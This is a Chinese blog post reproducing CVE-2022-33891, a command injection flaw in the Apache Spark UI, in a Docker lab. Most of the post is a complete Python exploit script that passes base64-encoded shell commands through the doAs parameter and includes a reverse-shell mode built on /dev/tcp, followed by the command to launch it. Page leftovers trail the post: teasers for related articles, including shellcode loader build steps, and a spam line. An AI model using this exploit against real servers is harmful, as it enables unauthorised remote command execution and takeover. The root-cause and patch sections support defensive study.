<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2022-33891漏洞復現

    一顆小胡椒2022-07-25 15:46:51

    簡介

    Spark 是用于大規模數據處理的統一分析引擎。它提供了 Scala、Java、Python 和 R 中的高級 API,以及支持用于數據分析的通用計算圖的優化引擎。它還支持一組豐富的高級工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作負載的 Spark 上的 Pandas API、用于機器學習的 MLlib、用于圖形處理的 GraphX 和用于流處理的結構化流。

    影響版本

    Apache spark version<3.0.3

    3.1.1<apache spark="" version<3.1.2<="" span="">

    Apache Spark version>= 3.3.0

    環境搭建

    目前官網上已經找不到老版本的docker鏡像了

    搜索老版本的也是為空

    這里環境搭建的時使用的是github上私人倉庫的鏡像,下載地址

    https://github.com/big-data-europe/docker-spark

    需要修改配置文件,下載存在漏洞的版本,修改dockerfile,V3.1.1

    修改版本

    docker-compose up -d

    訪問

    http:10.10.10.32:8080

    這里測試是不存在漏洞的,需要修改配置文件

    echo "spark.acls.enable true" >> conf/spark-defaults.conf

    POC如下:

    #!/usr/bin/env python3import requestsimport argparseimport base64import datetime
    parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')parser.add_argument('-u', '--url', help='URL to exploit.', required=True)parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')parser.add_argument('-lp', '--listeningport', help='Your listening host port.')parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
    args = parser.parse_args()
    full_url = f"{args.url}:{args.port}"
    def check_for_vuln(url):    print("[*] Attempting to connect to site...")    r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)    if r.status_code != 403:        print("[-] Does not look like an Apache Spark server.")        quit(1)    elif "org.apache.spark.ui" not in r.content.decode("utf-8"):        print("[-] Does not look like an Apache Spark server.")        quit(1)    else:        print("[*] Performing sleep test of 10 seconds...")        t1 = datetime.datetime.now()        run_cmd("sleep 10")        t2 = datetime.datetime.now()        delta = t2-t1        if delta.seconds < 10:            print("[-] Sleep was less than 10. This target is probably not vulnerable")        else:            print("[+] Sleep was 10 seconds! This target is probably vulnerable!")        exit(0)
    def cmd_prompt():    # Provide user with cmd prompt on loop to run commands    cmd = input("> ")    return cmd
    def base64_encode(cmd):    message_bytes = cmd.encode('ascii')    base64_bytes = base64.b64encode(message_bytes)    base64_cmd = base64_bytes.decode('ascii')    return base64_cmd
    def run_cmd(cmd):    try:        # Execute given command from cmd prompt        #print("[*] Command is: " + cmd)        base64_cmd = base64_encode(cmd)        #print("[*] Base64 command is: " + base64_cmd)        exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"        exploit_req = f"{full_url}{exploit}"        print("[*] Full exploit request is: " + exploit_req)        requests.get(exploit_req, allow_redirects=False)    except Exception as e:        print(str(e))
    def revshell(lhost, lport):    print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")    input("[!] When your listener is set up, press enter!")    rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"    run_cmd(rev_shell_cmd)
    def main():
        if args.check and args.revshell:        print("[!] Please choose either revshell or check!")        exit(1)
        elif args.check:        check_for_vuln(full_url)
        # Revshell    elif args.revshell:        if not (args.listeninghost and args.listeningport):            print("[x] You need a listeninghost and listening port!")            exit(1)        else:            lhost = args.listeninghost            lport = args.listeningport            revshell(lhost, lport)    else:        # "Interactive" mode        print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")        while True:            command_to_run = cmd_prompt()            run_cmd(command_to_run)
    if __name__ == "__main__":    main()
    

    如果失敗的話重建項目,使用下面這個文件起docker可能是鏡像的問題,不同的倉庫內的Apache spark配置不同,這個版本是V3.0.0的

    version: '2'
    services:
      spark:    image: docker.io/bitnami/spark:3.0.0    environment:      - SPARK_MODE=master      - SPARK_RPC_AUTHENTICATION_ENABLED=no      - SPARK_RPC_ENCRYPTION_ENABLED=no      - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no      - SPARK_SSL_ENABLED=no    ports:      - '8080:8080'
    

    訪問

    http://192.168.0.112:8080/

    修改配置文件

    docker exec -it 8a /bin/bash

    I have no name!@8a7873e77c46:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf

    I have no name!@8a7873e77c46:/opt/bitnami/spark$ cat conf/spark-defaults.conf

    已追加配置,重啟docker

    root@ubuntu:/home/ubuntu/Desktop/spark# docker-compose up -d

    使用poc去生成payload,或者手動也可,但是執行的命令要使用echo寫入執行且做base64編碼后解碼生效。

    但是看不到回顯,直接反彈shell

    python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444

    查看連接狀態

    漏洞成因

    漏洞成因是由于Apache Spark UI 提供了通過配置選項 spark.acls.enable 啟用 ACL 的可能性。使用身份驗證過濾器,這將檢查用戶是否具有查看或修改應用程序的訪問權限。如果啟用了 ACL,則 HttpSecurityFilter 中的代碼路徑可以允許某人通過提供任意用戶名來執行模擬。然后,惡意用戶可能能夠訪問權限檢查功能,該功能最終將根據他們的輸入構建一個 Unix shell 命令并執行,導致任意 shell 命令執行。

    參考:https://spark.apache.org/security.html

    修復建議

    1.建議升級到安全版本,參考官網鏈接:

    https://spark.apache.org/downloads.html

    2.安全設備路徑添加黑名單或者增加WAF規則(臨時方案)。

    Throwable 的擴展類,同時其中必須有危險的 set 方法。

    base64spark
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    CVE-2022-33891漏洞復現
    2022-07-25 15:46:51
    簡介Spark 是用于大規模數據處理的統一分析引擎。它提供了 Scala、Java、Python 和 R 中的高級 API,以及支持用于數據分析的通用計算圖的優化引擎。它還支持一組豐富的高級工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作負載的 Spark 上的 Pandas API、用于機器學習的 MLlib、
    00 摘要 2020年2月,Cybereason報告稱發現了Spark和Pierogi后門,其很可能被用于針對巴勒斯坦官員的定向攻擊活動。研究人員認為攻擊是由Molerats組織(又名Gaza Cybergang)發動的,這是一個講阿拉伯語,有政治動機...
    kylin CVE-2021-45456 & CVE-2022-44621
    └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起來不是注冊到 systemd 的,那么是誰拉起來的呢?啊,是 crontab非常不巧,我當時一心想找是哪個 service,沒注意到 crontab 的存在,還以為上次的那個挖礦木馬換了個 service 的名字,還去這個路徑找了好久,找了半天也沒有看到惡意的 service 啊突然想到我還沒看 crontab于是打開crontab發現了一條指令他靜靜的呆在那里像是在嘲笑我太菜了,這個套路都沒注意到 :P于是,注釋掉這行,然后對著剛剛 systemd 輸出的三個進程一頓 kill ├─2075 tOAK5Ejl
    └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起來不是注冊到 systemd 的,那么是誰拉起來的呢?啊,是 crontab非常不巧,我當時一心想找是哪個 service,沒注意到 crontab 的存在,還以為上次的那個挖礦木馬換了個 service 的名字,還去這個路徑找了好久,找了半天也沒有看到惡意的 service 啊突然想到我還沒看 crontab于是打開crontab發現了一條指令他靜靜的呆在那里像是在嘲笑我太菜了,這個套路都沒注意到 :P于是,注釋掉這行,然后對著剛剛 systemd 輸出的三個進程一頓 kill├─2075 tOAK5Ejl
    實戰 | 挖礦木馬排查
    2023-02-22 10:05:36
    └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起來不是注冊到 systemd 的,那么是誰拉起來的呢?啊,是 crontab非常不巧,我當時一心想找是哪個 service,沒注意到 crontab 的存在,還以為上次的那個挖礦木馬換了個 service 的名字,還去這個路徑找了好久,找了半天也沒有看到惡意的 service 啊突然想到我還沒看 crontab于是打開crontab發現了一條指令他靜靜的呆在那里像是在嘲笑我太菜了,這個套路都沒注意到 :P于是,注釋掉這行,然后對著剛剛 systemd 輸出的三個進程一頓 kill├─2075 tOAK5Ejl
    Web日志安全分析淺談
    2022-01-12 06:36:15
    attack=test';select//1//from/**/1,此時請求狀態碼為200,但是此注入攻擊并沒有得到執行,實際情況中,還會有更多情況導致產生此類的噪聲數據。拋開這類情況不談,我們來說說在一般應急響應場景中我們分析日志的常規辦法。假設我們面對的是一個相對初級的黑客,一般我們直接到服務器檢查是否存有明顯的webshell即可。
    注意:-e參數必須使用base64編碼結尾3、將加密之后的shellcode填充到/loader/loader.go中的shellcode變量4、將-e參數的值填充到/loader/loader.go中的encodestr變量中5、編譯/loader/loader.go文件go build -trimpath -ldflags="-w -s -H=windowsgui" ./loader/loader.go
    ImHex是一款功能強大的十六進制編輯器,該工具專為逆向工程分析師、編程開發人員以及那些想好好保護自己眼睛的安全人員所設計。哪怕你每天工作到凌晨三點(雖然不建議),也不會傷害你的眼睛!
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类